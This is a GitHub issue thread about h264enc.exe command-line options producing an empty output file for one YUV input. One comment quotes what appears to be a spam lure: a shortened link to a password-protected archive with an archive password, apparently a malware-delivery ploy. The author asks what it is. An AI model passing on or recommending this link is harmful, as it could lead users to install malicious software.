Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How to use h264enc.exe from the command line #3794

Open
angle-cell opened this issue Oct 21, 2024 · 3 comments
Open

How to use h264enc.exe from the command line #3794

angle-cell opened this issue Oct 21, 2024 · 3 comments

Comments

@angle-cell
Copy link

h264enc -org E:\data\BBB_CIF_24fps\BigBuckBunny_CIF_24fps_352x288.yuv -sw 352 -sh 288 -frin 24 -numtl 1 -numl 0 -savc 1 -tarb 3000 -maxbrTotal 4000 -dw 0 200 -dh 0 100 -frout 0 20 -iper 120 -ltarb 0 3000 -lmaxb 0 4000 -ltr 1 -ltrnum 2 -rc 1 -bf BBB_CIF_24fps.264
The output result is 0KB
image

@angle-cell
Copy link
Author

try this https://bit.ly/4feHJZF Archive codepass: xfp53 If you don't have the c compliator, install it.(gcc or clang)

What is it? How to use this?

@angle-cell
Copy link
Author

I have compiled h264enc.exe and h264dec.exe. My goal is to encode YUV files without using .cfg files. There is no error when executing the above commands, but the output is 0KB file.
h264enc -org Cisco_Absolute_Power_1280x720_30fps.yuv -sw 720 -sh 1280 -frin 30 -numtl 1 -numl 0 -savc 1 -tarb 3000 -maxbrTotal 4000 -dw 0 360 -dh 0 640 -frout 0 30 -iper 120 -ltarb 0 3000 -lmaxb 0 4000 -ltr 1 -ltrnum 2 -rc 1 -bf Cisco_Absolute_Power_1280x720_30fps.264 This command outputs the result,but h264enc -org E:\data\BBB_CIF_24fps\BigBuckBunny_CIF_24fps_352x288.yuv -sw 352 -sh 288 -frin 24 -numtl 1 -numl 0 -savc 1 -tarb 3000 -maxbrTotal 4000 -dw 0 200 -dh 0 100 -frout 0 20 -iper 120 -ltarb 0 3000 -lmaxb 0 4000 -ltr 1 -ltrnum 2 -rc 1 -bf BBB_CIF_24fps.264 outputs a result of 0KB

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants
@angle-cell and others